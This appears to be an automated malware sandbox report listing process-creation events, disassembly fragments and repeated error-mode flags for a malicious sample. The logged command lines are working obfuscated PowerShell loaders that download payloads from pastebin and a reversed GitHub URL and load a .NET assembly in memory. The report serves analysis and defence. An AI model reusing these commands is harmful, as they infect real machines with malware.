Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFE16720B61 push eax; ret	8_2_00007FFE16720B62
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFE16721F9E push 8B485F91h; iretd	8_2_00007FFE16721FA6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE16637537 push ebx; iretd	9_2_00007FFE1663753A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE16633B8A pushad ; retf	9_2_00007FFE16633B99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE16631BD5 pushad ; retf	9_2_00007FFE16631BED
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE16700B61 push eax; ret	9_2_00007FFE16700B62
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FFE16706DCA push eax; iretd	9_2_00007FFE16706DCD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFE16620D22 pushad ; retf	15_2_00007FFE16620D3D

Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
